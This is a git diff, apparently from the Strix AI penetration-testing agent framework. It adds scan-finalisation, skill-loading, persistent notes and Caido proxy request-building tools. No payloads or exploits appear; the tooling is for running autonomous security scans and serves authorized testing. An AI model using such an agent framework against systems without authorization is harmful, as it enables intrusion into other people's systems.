+ return {"success": False, "error": f"Failed to complete scan: {e!s}"}
+ else:
+ logger.info(
+ "finish_scan: completed scan with %d vulnerability report(s)",
+ vuln_count,
+ )
+ return {
+ "success": True,
+ "scan_completed": True,
+ "message": "Scan completed successfully",
+ "vulnerabilities_found": vuln_count,
+ }
+
+
+@function_tool(timeout=60)
+async def finish_scan(
+ ctx: RunContextWrapper,
+ executive_summary: str,
+ methodology: str,
+ technical_analysis: str,
+ recommendations: str,
+) -> str:
+ """Finalize the scan — persist the customer-facing report.
+
+ **Root-agent only.** Subagents must call ``agent_finish`` from the
+ multi-agent graph tools instead. Calling this finalizes everything:
+
+ 1. Verifies you are the root agent.
+ 2. Writes the four narrative sections to the scan record.
+ 3. Marks the scan completed and stops execution.
+
+ **Pre-flight checklist (mandatory — do not skip):**
+
+ 1. **Call ``view_agent_graph`` first.** Inspect every entry in the
+ summary. If ANY agent is in ``running`` / ``waiting`` state,
+ you MUST NOT call ``finish_scan`` yet —
+ wrap them up first via ``send_message_to_agent`` (ask them to
+ finish), ``wait_for_message`` (block until their report
+ arrives), or ``stop_agent`` (graceful cancel). Only ``completed``
+ / ``crashed`` / ``stopped`` agents are safe to leave behind.
+ Calling ``finish_scan`` while children are alive orphans their
+ work and produces an incomplete report.
+ 2. All vulnerabilities you found are filed via
+ ``create_vulnerability_report`` (un-reported findings are not
+ tracked and not credited).
+ 3. Don't double-report — one report per distinct vulnerability.
+
+ **Calling this multiple times overwrites the previous report.**
+ Make the single call comprehensive.
+
+ **Customer-facing report rules** (this output is rendered into the
+ final PDF the client sees):
+
+ - Never mention internal infrastructure: no local/absolute paths
+ (``/workspace/...``), no agent names, no sandbox/orchestrator/
+ tooling references, no system prompts, no model-internal errors.
+ - Tone: formal, third-person, objective, concise. This is a
+ consultant deliverable, not an engineering log.
+ - Each section has a specific role:
+
+ - ``executive_summary`` — for non-technical leadership. Risk
+ posture, business impact (data exposure / compliance /
+ reputation), notable criticals, overarching remediation
+ theme.
+ - ``methodology`` — frameworks followed (OWASP WSTG, PTES,
+ OSSTMM, NIST), engagement type (black/gray/white box), scope
+ and constraints, categories of testing performed. **No**
+ internal execution detail.
+ - ``technical_analysis`` — consolidated findings overview with
+ severity model and systemic root causes. Reference individual
+ vuln reports for repro steps; don't duplicate raw evidence.
+ - ``recommendations`` — prioritized actions grouped by urgency
+ (Immediate / Short-term / Medium-term), each with concrete
+ remediation steps. End with retest/validation guidance.
+
+ Args:
+ executive_summary: Business-level summary for leadership.
+ methodology: Frameworks, scope, and approach.
+ technical_analysis: Consolidated findings + systemic themes.
+ recommendations: Prioritized, actionable remediation.
+ """
+ inner = ctx.context if isinstance(ctx.context, dict) else {}
+ coordinator = coordinator_from_context(inner)
+ me = inner.get("agent_id")
+ parent_id = inner.get("parent_id")
+ if coordinator is not None and parent_id is None and me is not None:
+ active_agents = await coordinator.active_agents_except(me)
+ else:
+ active_agents = []
+
+ if active_agents:
+ return json.dumps(
+ {
+ "success": False,
+ "scan_completed": False,
+ "error": (
+ "Cannot finish scan while child agents are still active. "
+ "Wait for completion, send them finish instructions, or stop them first"
+ ),
+ "active_agents": active_agents,
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ result = await asyncio.to_thread(
+ _do_finish,
+ parent_id=parent_id,
+ executive_summary=executive_summary,
+ methodology=methodology,
+ technical_analysis=technical_analysis,
+ recommendations=recommendations,
+ )
+ if (
+ result.get("success")
+ and result.get("scan_completed")
+ and coordinator is not None
+ and isinstance(me, str)
+ ):
+ await coordinator.set_status(me, "completed")
+ return json.dumps(result, ensure_ascii=False, default=str)
diff --git a/strix/tools/load_skill/__init__.py b/strix/tools/load_skill/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/strix/tools/load_skill/tool.py b/strix/tools/load_skill/tool.py
new file mode 100644
index 000000000..3ef6f9ec0
--- /dev/null
+++ b/strix/tools/load_skill/tool.py
@@ -0,0 +1,36 @@
+"""``load_skill`` — fetch skill reference material into the conversation."""
+
+from __future__ import annotations
+
+from agents import RunContextWrapper, function_tool
+
+from strix.skills import load_skills, validate_requested_skills
+
+
+@function_tool(timeout=10)
+async def load_skill(ctx: RunContextWrapper, skills: list[str]) -> str:
+ """Return the markdown body of one or more skills as reference material.
+
+ Use this when you need exact syntax / workflow / payload guidance
+ right before acting on a technology that wasn't preloaded for your
+ agent. The skill content lands inline as a tool result — no
+ permanent prompt change, just in-conversation reference.
+
+ For permanent skill assignment, pass ``skills=[…]`` to
+ ``create_agent`` when spawning a specialist child instead.
+
+ Args:
+ skills: List of skill names (e.g. ``["xss", "sql_injection"]``).
+ Max 5. Names match the bare files under
+ ``strix/skills//.md``.
+ """
+ del ctx
+ requested = list(skills or [])
+ err = validate_requested_skills(requested)
+ if err:
+ return f"load_skill: {err}"
+ contents = load_skills(requested)
+ if not contents:
+ return "load_skill: no content loaded for requested skills."
+ sections = [f"## Skill: {name}\n\n{body}" for name, body in contents.items()]
+ return "\n\n---\n\n".join(sections)
diff --git a/strix/tools/notes/__init__.py b/strix/tools/notes/__init__.py
index ebcbbcabc..e69de29bb 100644
--- a/strix/tools/notes/__init__.py
+++ b/strix/tools/notes/__init__.py
@@ -1,14 +0,0 @@
-from .notes_actions import (
- create_note,
- delete_note,
- list_notes,
- update_note,
-)
-
-
-__all__ = [
- "create_note",
- "delete_note",
- "list_notes",
- "update_note",
-]
diff --git a/strix/tools/notes/notes_actions.py b/strix/tools/notes/notes_actions.py
deleted file mode 100644
index 0f91ecd4b..000000000
--- a/strix/tools/notes/notes_actions.py
+++ /dev/null
@@ -1,191 +0,0 @@
-import uuid
-from datetime import UTC, datetime
-from typing import Any
-
-from strix.tools.registry import register_tool
-
-
-_notes_storage: dict[str, dict[str, Any]] = {}
-
-
-def _filter_notes(
- category: str | None = None,
- tags: list[str] | None = None,
- priority: str | None = None,
- search_query: str | None = None,
-) -> list[dict[str, Any]]:
- filtered_notes = []
-
- for note_id, note in _notes_storage.items():
- if category and note.get("category") != category:
- continue
-
- if priority and note.get("priority") != priority:
- continue
-
- if tags:
- note_tags = note.get("tags", [])
- if not any(tag in note_tags for tag in tags):
- continue
-
- if search_query:
- search_lower = search_query.lower()
- title_match = search_lower in note.get("title", "").lower()
- content_match = search_lower in note.get("content", "").lower()
- if not (title_match or content_match):
- continue
-
- note_with_id = note.copy()
- note_with_id["note_id"] = note_id
- filtered_notes.append(note_with_id)
-
- filtered_notes.sort(key=lambda x: x.get("created_at", ""), reverse=True)
- return filtered_notes
-
-
-@register_tool
-def create_note(
- title: str,
- content: str,
- category: str = "general",
- tags: list[str] | None = None,
- priority: str = "normal",
-) -> dict[str, Any]:
- try:
- if not title or not title.strip():
- return {"success": False, "error": "Title cannot be empty", "note_id": None}
-
- if not content or not content.strip():
- return {"success": False, "error": "Content cannot be empty", "note_id": None}
-
- valid_categories = ["general", "findings", "methodology", "todo", "questions", "plan"]
- if category not in valid_categories:
- return {
- "success": False,
- "error": f"Invalid category. Must be one of: {', '.join(valid_categories)}",
- "note_id": None,
- }
-
- valid_priorities = ["low", "normal", "high", "urgent"]
- if priority not in valid_priorities:
- return {
- "success": False,
- "error": f"Invalid priority. Must be one of: {', '.join(valid_priorities)}",
- "note_id": None,
- }
-
- note_id = str(uuid.uuid4())[:5]
- timestamp = datetime.now(UTC).isoformat()
-
- note = {
- "title": title.strip(),
- "content": content.strip(),
- "category": category,
- "tags": tags or [],
- "priority": priority,
- "created_at": timestamp,
- "updated_at": timestamp,
- }
-
- _notes_storage[note_id] = note
-
- except (ValueError, TypeError) as e:
- return {"success": False, "error": f"Failed to create note: {e}", "note_id": None}
- else:
- return {
- "success": True,
- "note_id": note_id,
- "message": f"Note '{title}' created successfully",
- }
-
-
-@register_tool
-def list_notes(
- category: str | None = None,
- tags: list[str] | None = None,
- priority: str | None = None,
- search: str | None = None,
-) -> dict[str, Any]:
- try:
- filtered_notes = _filter_notes(
- category=category, tags=tags, priority=priority, search_query=search
- )
-
- return {
- "success": True,
- "notes": filtered_notes,
- "total_count": len(filtered_notes),
- }
-
- except (ValueError, TypeError) as e:
- return {
- "success": False,
- "error": f"Failed to list notes: {e}",
- "notes": [],
- "total_count": 0,
- }
-
-
-@register_tool
-def update_note(
- note_id: str,
- title: str | None = None,
- content: str | None = None,
- tags: list[str] | None = None,
- priority: str | None = None,
-) -> dict[str, Any]:
- try:
- if note_id not in _notes_storage:
- return {"success": False, "error": f"Note with ID '{note_id}' not found"}
-
- note = _notes_storage[note_id]
-
- if title is not None:
- if not title.strip():
- return {"success": False, "error": "Title cannot be empty"}
- note["title"] = title.strip()
-
- if content is not None:
- if not content.strip():
- return {"success": False, "error": "Content cannot be empty"}
- note["content"] = content.strip()
-
- if tags is not None:
- note["tags"] = tags
-
- if priority is not None:
- valid_priorities = ["low", "normal", "high", "urgent"]
- if priority not in valid_priorities:
- return {
- "success": False,
- "error": f"Invalid priority. Must be one of: {', '.join(valid_priorities)}",
- }
- note["priority"] = priority
-
- note["updated_at"] = datetime.now(UTC).isoformat()
-
- return {
- "success": True,
- "message": f"Note '{note['title']}' updated successfully",
- }
-
- except (ValueError, TypeError) as e:
- return {"success": False, "error": f"Failed to update note: {e}"}
-
-
-@register_tool
-def delete_note(note_id: str) -> dict[str, Any]:
- try:
- if note_id not in _notes_storage:
- return {"success": False, "error": f"Note with ID '{note_id}' not found"}
-
- note_title = _notes_storage[note_id]["title"]
- del _notes_storage[note_id]
-
- except (ValueError, TypeError) as e:
- return {"success": False, "error": f"Failed to delete note: {e}"}
- else:
- return {
- "success": True,
- "message": f"Note '{note_title}' deleted successfully",
- }
diff --git a/strix/tools/notes/notes_actions_schema.xml b/strix/tools/notes/notes_actions_schema.xml
deleted file mode 100644
index 08822a182..000000000
--- a/strix/tools/notes/notes_actions_schema.xml
+++ /dev/null
@@ -1,150 +0,0 @@
-
-
- Create a personal note for TODOs, side notes, plans, and organizational purposes during
- the scan.
- Use this tool for quick reminders, action items, planning thoughts, and organizational notes
- rather than formal vulnerability reports or detailed findings. This is your personal notepad
- for keeping track of tasks, ideas, and things to remember or follow up on.
-
-
- Title of the note
-
-
- Content of the note
-
-
- Category to organize the note (default: "general", "findings", "methodology", "todo", "questions", "plan")
-
-
- Tags for categorization
-
-
- Priority level of the note ("low", "normal", "high", "urgent")
-
-
-
- Response containing: - note_id: ID of the created note - success: Whether the note was created successfully
-
-
- # Create a TODO reminder
-
- TODO: Check SSL Certificate Details
- Remember to verify SSL certificate validity and check for weak ciphers
- on the HTTPS service discovered on port 443. Also check for certificate
- transparency logs.
- todo
- ["ssl", "certificate", "followup"]
- normal
-
-
- # Planning note
-
- Scan Strategy Planning
- Plan for next phase: 1) Complete subdomain enumeration 2) Test discovered
- web apps for OWASP Top 10 3) Check database services for default creds
- 4) Review any custom applications for business logic flaws
- plan
- ["planning", "strategy", "next_steps"]
-
-
- # Side note for later investigation
-
- Interesting Directory Found
- Found /backup/ directory that might contain sensitive files. Low priority
- for now but worth checking if time permits. Directory listing seems
- disabled.
- findings
- ["directory", "backup", "low_priority"]
- low
-
-
-
-
- Delete a note.
-
-
- ID of the note to delete
-
-
-
- Response containing: - success: Whether the note was deleted successfully
-
-
-
- note_123
-
-
-
-
- List existing notes with optional filtering and search.
-
-
- Filter by category
-
-
- Filter by tags (returns notes with any of these tags)
-
-
- Filter by priority level
-
-
- Search query to find in note titles and content
-
-
-
- Response containing: - notes: List of matching notes - total_count: Total number of notes found
-
-
- # List all findings
-
- findings
-
-
- # List high priority items
-
- high
-
-
- # Search for SQL injection related notes
-
- SQL injection
-
-
- # Search within a specific category
-
- admin
- findings
-
-
-
-
- Update an existing note.
-
-
- ID of the note to update
-
-
- New title for the note
-
-
- New content for the note
-
-
- New tags for the note
-
-
- New priority level
-
-
-
- Response containing: - success: Whether the note was updated successfully
-
-
-
- note_123
- Updated content with new findings...
- urgent
-
-
-
-
diff --git a/strix/tools/notes/tools.py b/strix/tools/notes/tools.py
new file mode 100644
index 000000000..da6eb7229
--- /dev/null
+++ b/strix/tools/notes/tools.py
@@ -0,0 +1,432 @@
+"""Per-run notes storage — mirrored to {state_dir}/notes.json."""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import logging
+import tempfile
+import threading
+import uuid
+from datetime import UTC, datetime
+from pathlib import Path
+from typing import Any
+
+from agents import RunContextWrapper, function_tool
+
+
+logger = logging.getLogger(__name__)
+
+
+_notes_storage: dict[str, dict[str, Any]] = {}
+_VALID_NOTE_CATEGORIES = ["general", "findings", "methodology", "questions", "plan", "wiki"]
+_notes_lock = threading.RLock()
+_DEFAULT_CONTENT_PREVIEW_CHARS = 280
+_NOTE_ID_GENERATION_ATTEMPTS = 1024
+
+_notes_path: Path | None = None
+
+
+def _generate_note_id() -> str | None:
+ for _ in range(_NOTE_ID_GENERATION_ATTEMPTS):
+ note_id = uuid.uuid4().hex[:6]
+ if note_id not in _notes_storage:
+ return note_id
+ return None
+
+
+def hydrate_notes_from_disk(state_dir: Path) -> None:
+ global _notes_path # noqa: PLW0603
+ _notes_path = state_dir / "notes.json"
+ with _notes_lock:
+ _notes_storage.clear()
+ if not _notes_path.exists():
+ return
+ try:
+ data = json.loads(_notes_path.read_text(encoding="utf-8"))
+ except (OSError, json.JSONDecodeError):
+ logger.exception(
+ "notes.json at %s is unreadable; starting with empty notes",
+ _notes_path,
+ )
+ return
+ if not isinstance(data, dict):
+ return
+ _notes_storage.update(
+ {
+ nid: note
+ for nid, note in data.items()
+ if isinstance(nid, str) and isinstance(note, dict)
+ }
+ )
+ logger.info(
+ "notes hydrated from %s (%d note(s))",
+ _notes_path,
+ len(_notes_storage),
+ )
+
+
+def _persist() -> None:
+ path = _notes_path
+ if path is None:
+ return
+ try:
+ payload = json.dumps(_notes_storage, ensure_ascii=False, default=str)
+ path.parent.mkdir(parents=True, exist_ok=True)
+ with (
+ _notes_lock,
+ tempfile.NamedTemporaryFile(
+ mode="w",
+ encoding="utf-8",
+ dir=str(path.parent),
+ prefix=f".{path.name}.",
+ suffix=".tmp",
+ delete=False,
+ ) as tmp,
+ ):
+ tmp.write(payload)
+ tmp_path = Path(tmp.name)
+ tmp_path.replace(path)
+ except Exception:
+ logger.exception("notes persist to %s failed", path)
+
+
+def _filter_notes(
+ category: str | None = None,
+ tags: list[str] | None = None,
+ search_query: str | None = None,
+) -> list[dict[str, Any]]:
+ filtered: list[dict[str, Any]] = []
+ for note_id, note in _notes_storage.items():
+ if category and note.get("category") != category:
+ continue
+ if tags:
+ note_tags = note.get("tags", [])
+ if not any(tag in note_tags for tag in tags):
+ continue
+ if search_query:
+ search_lower = search_query.lower()
+ title_match = search_lower in note.get("title", "").lower()
+ content_match = search_lower in note.get("content", "").lower()
+ if not (title_match or content_match):
+ continue
+ entry = note.copy()
+ entry["note_id"] = note_id
+ filtered.append(entry)
+ filtered.sort(key=lambda x: x.get("created_at", ""), reverse=True)
+ return filtered
+
+
+def _to_note_listing_entry(
+ note: dict[str, Any],
+ *,
+ include_content: bool = False,
+) -> dict[str, Any]:
+ entry = {
+ "note_id": note.get("note_id"),
+ "title": note.get("title", ""),
+ "category": note.get("category", "general"),
+ "tags": note.get("tags", []),
+ "created_at": note.get("created_at", ""),
+ "updated_at": note.get("updated_at", ""),
+ }
+ content = str(note.get("content", ""))
+ if include_content:
+ entry["content"] = content
+ elif content:
+ if len(content) > _DEFAULT_CONTENT_PREVIEW_CHARS:
+ entry["content_preview"] = f"{content[:_DEFAULT_CONTENT_PREVIEW_CHARS].rstrip()}..."
+ else:
+ entry["content_preview"] = content
+ return entry
+
+
+def _create_note_impl(
+ title: str,
+ content: str,
+ category: str = "general",
+ tags: list[str] | None = None,
+) -> dict[str, Any]:
+ with _notes_lock:
+ try:
+ if not title or not title.strip():
+ return {"success": False, "error": "Title cannot be empty", "note_id": None}
+ if not content or not content.strip():
+ return {"success": False, "error": "Content cannot be empty", "note_id": None}
+ if category not in _VALID_NOTE_CATEGORIES:
+ return {
+ "success": False,
+ "error": (
+ f"Invalid category. Must be one of: {', '.join(_VALID_NOTE_CATEGORIES)}"
+ ),
+ "note_id": None,
+ }
+
+ note_id = _generate_note_id()
+ if note_id is None:
+ return {
+ "success": False,
+ "error": "Failed to generate a unique note ID",
+ "note_id": None,
+ }
+
+ timestamp = datetime.now(UTC).isoformat()
+ note = {
+ "title": title.strip(),
+ "content": content.strip(),
+ "category": category,
+ "tags": tags or [],
+ "created_at": timestamp,
+ "updated_at": timestamp,
+ }
+ _notes_storage[note_id] = note
+ except (ValueError, TypeError) as e:
+ return {"success": False, "error": f"Failed to create note: {e}", "note_id": None}
+ else:
+ _persist()
+ return {
+ "success": True,
+ "note_id": note_id,
+ "message": f"Note '{title}' created successfully",
+ "total_count": len(_notes_storage),
+ }
+
+
+def _list_notes_impl(
+ category: str | None = None,
+ tags: list[str] | None = None,
+ search: str | None = None,
+ include_content: bool = False,
+) -> dict[str, Any]:
+ with _notes_lock:
+ try:
+ filtered = _filter_notes(category=category, tags=tags, search_query=search)
+ notes = [_to_note_listing_entry(n, include_content=include_content) for n in filtered]
+ except (ValueError, TypeError) as e:
+ return {
+ "success": False,
+ "error": f"Failed to list notes: {e}",
+ "notes": [],
+ "filtered_count": 0,
+ "total_count": 0,
+ }
+ return {
+ "success": True,
+ "notes": notes,
+ "filtered_count": len(notes),
+ "total_count": len(_notes_storage),
+ }
+
+
+def _get_note_impl(note_id: str) -> dict[str, Any]:
+ with _notes_lock:
+ try:
+ if not note_id or not note_id.strip():
+ return {"success": False, "error": "Note ID cannot be empty", "note": None}
+ note = _notes_storage.get(note_id)
+ if note is None:
+ return {
+ "success": False,
+ "error": f"Note with ID '{note_id}' not found",
+ "note": None,
+ }
+ note_with_id = note.copy()
+ note_with_id["note_id"] = note_id
+ except (ValueError, TypeError) as e:
+ return {"success": False, "error": f"Failed to get note: {e}", "note": None}
+ else:
+ return {"success": True, "note": note_with_id}
+
+
+def _update_note_impl(
+ note_id: str,
+ title: str | None = None,
+ content: str | None = None,
+ tags: list[str] | None = None,
+) -> dict[str, Any]:
+ with _notes_lock:
+ try:
+ if note_id not in _notes_storage:
+ return {"success": False, "error": f"Note with ID '{note_id}' not found"}
+ note = _notes_storage[note_id]
+ if title is not None:
+ if not title.strip():
+ return {"success": False, "error": "Title cannot be empty"}
+ note["title"] = title.strip()
+ if content is not None:
+ if not content.strip():
+ return {"success": False, "error": "Content cannot be empty"}
+ note["content"] = content.strip()
+ if tags is not None:
+ note["tags"] = tags
+ note["updated_at"] = datetime.now(UTC).isoformat()
+ except (ValueError, TypeError) as e:
+ return {"success": False, "error": f"Failed to update note: {e}"}
+ else:
+ _persist()
+ return {
+ "success": True,
+ "note_id": note_id,
+ "message": f"Note '{note['title']}' updated successfully",
+ "total_count": len(_notes_storage),
+ }
+
+
+def _delete_note_impl(note_id: str) -> dict[str, Any]:
+ with _notes_lock:
+ try:
+ if note_id not in _notes_storage:
+ return {"success": False, "error": f"Note with ID '{note_id}' not found"}
+ note = _notes_storage[note_id]
+ note_title = note["title"]
+ del _notes_storage[note_id]
+ except (ValueError, TypeError) as e:
+ return {"success": False, "error": f"Failed to delete note: {e}"}
+ else:
+ _persist()
+ return {
+ "success": True,
+ "note_id": note_id,
+ "message": f"Note '{note_title}' deleted successfully",
+ "total_count": len(_notes_storage),
+ }
+
+
+@function_tool(timeout=30)
+async def create_note(
+ ctx: RunContextWrapper,
+ title: str,
+ content: str,
+ category: str = "general",
+ tags: list[str] | None = None,
+) -> str:
+ """Document an observation, finding, methodology step, or research note.
+
+ Notes are visible to every agent in the same scan for the lifetime
+ of the run; they live in-memory only and are cleared when the
+ process exits.
+
+ For actionable tasks, use ``todo`` instead — notes are for capturing
+ information, todos are for tracking work.
+
+ Categories:
+
+ - ``general`` — default, anything that doesn't fit elsewhere.
+ - ``findings`` — confirmed vulnerabilities or weaknesses (write
+ these up promptly; you'll cite them when filing reports).
+ - ``methodology`` — what you tried, what worked, what didn't —
+ useful for the final scan report.
+ - ``questions`` — open questions / things to come back to.
+ - ``plan`` — multi-step plans you want to track.
+ - ``wiki`` — long-form repository or target maps.
+
+ Tags are free-form (e.g. ``["sqli", "auth", "critical"]``) — useful
+ for later ``list_notes(tags=...)`` filtering.
+
+ Args:
+ title: Short headline.
+ content: Full note body. Markdown is preserved.
+ category: One of the categories above. Default ``"general"``.
+ tags: Optional free-form tags.
+ """
+ return json.dumps(
+ await asyncio.to_thread(_create_note_impl, title, content, category, tags),
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def list_notes(
+ ctx: RunContextWrapper,
+ category: str | None = None,
+ tags: list[str] | None = None,
+ search: str | None = None,
+ include_content: bool = False,
+) -> str:
+ """List existing notes — metadata-first by default.
+
+ Filters compose: passing ``category="findings"`` and
+ ``tags=["sqli"]`` returns notes that are *both* in the findings
+ category AND have at least one of those tags.
+
+ By default each entry includes a ``content_preview`` (first 280
+ chars). Set ``include_content=True`` to get full bodies — useful
+ when you need to scan many notes; expensive in tokens for large
+ notes.
+
+ Args:
+ category: Filter by category.
+ tags: Filter to notes that have any of these tags.
+ search: Substring match against title and content.
+ include_content: When False (default) entries have a preview;
+ when True the full ``content`` is included.
+ """
+ return json.dumps(
+ await asyncio.to_thread(
+ _list_notes_impl,
+ category=category,
+ tags=tags,
+ search=search,
+ include_content=include_content,
+ ),
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def get_note(ctx: RunContextWrapper, note_id: str) -> str:
+ """Fetch one note by its 6-char ID. Returns the full content.
+
+ Args:
+ note_id: Note id from ``create_note`` or a ``list_notes`` entry.
+ """
+ return json.dumps(
+ await asyncio.to_thread(_get_note_impl, note_id), ensure_ascii=False, default=str
+ )
+
+
+@function_tool(timeout=30)
+async def update_note(
+ ctx: RunContextWrapper,
+ note_id: str,
+ title: str | None = None,
+ content: str | None = None,
+ tags: list[str] | None = None,
+) -> str:
+ """Update a note's title, content, or tags.
+
+ Pass ``None`` for any field you want left unchanged. Replacing
+ ``content`` is a full overwrite — to append, fetch first with
+ ``get_note``, concat, and pass the result.
+
+ Args:
+ note_id: Target note's 6-char ID.
+ title: New title, or ``None`` to keep.
+ content: New content, or ``None`` to keep.
+ tags: New tags list, or ``None`` to keep.
+ """
+ return json.dumps(
+ await asyncio.to_thread(
+ _update_note_impl,
+ note_id=note_id,
+ title=title,
+ content=content,
+ tags=tags,
+ ),
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def delete_note(ctx: RunContextWrapper, note_id: str) -> str:
+ """Delete a note.
+
+ Args:
+ note_id: Note id to delete.
+ """
+ return json.dumps(
+ await asyncio.to_thread(_delete_note_impl, note_id), ensure_ascii=False, default=str
+ )
diff --git a/strix/tools/proxy/__init__.py b/strix/tools/proxy/__init__.py
index 878528862..e69de29bb 100644
--- a/strix/tools/proxy/__init__.py
+++ b/strix/tools/proxy/__init__.py
@@ -1,20 +0,0 @@
-from .proxy_actions import (
- list_requests,
- list_sitemap,
- repeat_request,
- scope_rules,
- send_request,
- view_request,
- view_sitemap_entry,
-)
-
-
-__all__ = [
- "list_requests",
- "list_sitemap",
- "repeat_request",
- "scope_rules",
- "send_request",
- "view_request",
- "view_sitemap_entry",
-]
diff --git a/strix/tools/proxy/caido_api.py b/strix/tools/proxy/caido_api.py
new file mode 100644
index 000000000..926d5c74e
--- /dev/null
+++ b/strix/tools/proxy/caido_api.py
@@ -0,0 +1,682 @@
+"""Shared Caido proxy helpers and sandbox-importable ``caido_api`` module."""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import os
+import time
+import urllib.request
+from typing import TYPE_CHECKING, Any, Literal
+from urllib.parse import parse_qs, urlencode, urlparse, urlunparse
+
+from caido_sdk_client import Client, TokenAuthOptions
+from caido_sdk_client.types import (
+ ConnectionInfoInput,
+ CreateScopeOptions,
+ ReplaySendOptions,
+ RequestGetOptions,
+ UpdateScopeOptions,
+)
+
+
+if TYPE_CHECKING:
+ from caido_sdk_client import Client as CaidoClient
+
+
+RequestPart = Literal["request", "response"]
+SortBy = Literal[
+ "timestamp",
+ "host",
+ "method",
+ "path",
+ "status_code",
+ "response_time",
+ "response_size",
+ "source",
+]
+SortOrder = Literal["asc", "desc"]
+ScopeAction = Literal["get", "list", "create", "update", "delete"]
+SitemapDepth = Literal["DIRECT", "ALL"]
+_SITEMAP_PAGE_SIZE = 30
+
+_DEFAULT_CAIDO_URL = "http://127.0.0.1:48080"
+_CLIENT_CACHE: dict[str, Client] = {}
+_REQ_FIELD_MAP: dict[SortBy, tuple[str, str]] = {
+ "timestamp": ("req", "created_at"),
+ "host": ("req", "host"),
+ "method": ("req", "method"),
+ "path": ("req", "path"),
+ "source": ("req", "source"),
+ "status_code": ("resp", "code"),
+ "response_time": ("resp", "roundtrip"),
+ "response_size": ("resp", "length"),
+}
+
+
+def caido_url() -> str:
+ return os.environ.get("STRIX_CAIDO_URL", _DEFAULT_CAIDO_URL).rstrip("/")
+
+
+def _graphql_url() -> str:
+ base_url = caido_url()
+ parsed = urlparse(base_url)
+ if parsed.scheme not in {"http", "https"} or not parsed.netloc:
+ raise ValueError(f"Invalid Caido URL: {base_url}")
+ return f"{base_url}/graphql"
+
+
+def _login_as_guest() -> str:
+ body = json.dumps({"query": "mutation { loginAsGuest { token { accessToken } } }"}).encode(
+ "utf-8"
+ )
+ req = urllib.request.Request( # noqa: S310
+ _graphql_url(),
+ data=body,
+ headers={"Content-Type": "application/json"},
+ method="POST",
+ )
+ with urllib.request.urlopen(req, timeout=10) as resp: # noqa: S310 # nosec B310
+ payload = json.loads(resp.read())
+ return str(payload["data"]["loginAsGuest"]["token"]["accessToken"])
+
+
+async def get_client() -> Client:
+ if client := _CLIENT_CACHE.get("default"):
+ return client
+
+ token = await asyncio.to_thread(_login_as_guest)
+ client = Client(caido_url(), auth=TokenAuthOptions(token=token))
+ await client.connect()
+ _CLIENT_CACHE["default"] = client
+ return client
+
+
+async def close_client() -> None:
+ client = _CLIENT_CACHE.pop("default", None)
+ if client is None:
+ return
+ await client.aclose()
+
+
+async def list_requests_with_client(
+ client: CaidoClient,
+ *,
+ httpql_filter: str | None = None,
+ first: int = 50,
+ after: str | None = None,
+ sort_by: SortBy = "timestamp",
+ sort_order: SortOrder = "desc",
+ scope_id: str | None = None,
+) -> Any:
+ builder = client.request.list().first(first)
+ if httpql_filter:
+ builder = builder.filter(httpql_filter)
+ if after:
+ builder = builder.after(after)
+ if scope_id:
+ builder = builder.scope(scope_id)
+ target, field = _REQ_FIELD_MAP[sort_by]
+ builder = (builder.descending if sort_order == "desc" else builder.ascending)(target, field)
+ return await builder.execute()
+
+
+async def get_request_with_client(
+ client: CaidoClient,
+ request_id: str,
+ *,
+ part: RequestPart = "request",
+) -> Any:
+ # The Caido SDK's generated pydantic model marks Request.raw and
+ # Response.raw as required strings even though the GraphQL fragment
+ # makes them conditional via `@include(if: $includeRequestRaw)`.
+ # Passing False for either causes pydantic validation to fail with
+ # "Field required" on the missing raw field. Always request both —
+ # the caller picks which one to surface via ``part``.
+ opts = RequestGetOptions(request_raw=True, response_raw=True)
+ return await client.request.get(request_id, opts)
+
+
+def build_raw_request(
+ *,
+ method: str,
+ url: str,
+ headers: dict[str, str],
+ body: str,
+) -> tuple[ConnectionInfoInput, bytes]:
+ parsed = urlparse(url)
+ if not parsed.scheme or not parsed.netloc:
+ raise ValueError(f"Invalid URL: {url}")
+ is_tls = parsed.scheme.lower() == "https"
+ host = parsed.hostname or ""
+ port = parsed.port or (443 if is_tls else 80)
+ path = parsed.path or "/"
+ if parsed.query:
+ path = f"{path}?{parsed.query}"
+
+ final_headers = {**headers}
+ final_headers.setdefault("Host", parsed.netloc)
+ final_headers.setdefault("User-Agent", "strix")
+ if body and "Content-Length" not in {k.title() for k in final_headers}:
+ final_headers["Content-Length"] = str(len(body.encode("utf-8")))
+
+ lines = [f"{method.upper()} {path} HTTP/1.1"]
+ lines.extend(f"{k}: {v}" for k, v in final_headers.items())
+ raw = ("\r\n".join(lines) + "\r\n\r\n" + body).encode("utf-8")
+ return ConnectionInfoInput(host=host, port=port, is_tls=is_tls), raw
+
+
+_RESPONSE_BODY_MAX_CHARS = 8192
+
+
+def parse_raw_response(raw_bytes: bytes | None) -> dict[str, Any] | None:
+ """Parse a raw HTTP response into the same shape ``list_requests`` emits.
+
+ Returns ``None`` when ``raw_bytes`` is missing or unparseable. On
+ success returns ``{status_code, length, headers, body, body_truncated}``
+ where ``body`` is decoded as UTF-8 (replacement chars on invalid
+ bytes) and clipped at :data:`_RESPONSE_BODY_MAX_CHARS`.
+ """
+ if not raw_bytes:
+ return None
+ try:
+ head, _, body_bytes = raw_bytes.partition(b"\r\n\r\n")
+ lines = head.decode("iso-8859-1", errors="replace").split("\r\n")
+ if not lines:
+ return None
+ status_parts = lines[0].split(" ", 2)
+ if len(status_parts) < 2 or not status_parts[1].isdigit():
+ return None
+ status_code = int(status_parts[1])
+ headers: dict[str, str] = {}
+ for line in lines[1:]:
+ if ":" not in line:
+ continue
+ k, v = line.split(":", 1)
+ headers[k.strip()] = v.strip()
+ body_text = body_bytes.decode("utf-8", errors="replace")
+ body_truncated = len(body_text) > _RESPONSE_BODY_MAX_CHARS
+ if body_truncated:
+ body_text = body_text[:_RESPONSE_BODY_MAX_CHARS]
+ return {
+ "status_code": status_code,
+ "length": len(body_bytes),
+ "headers": headers,
+ "body": body_text,
+ "body_truncated": body_truncated,
+ }
+ except Exception: # noqa: BLE001 - tolerate any malformed raw bytes; None signals "unparseable" to the caller.
+ return None
+
+
+def parse_raw_request(raw_content: str) -> dict[str, Any]:
+ lines = raw_content.split("\n")
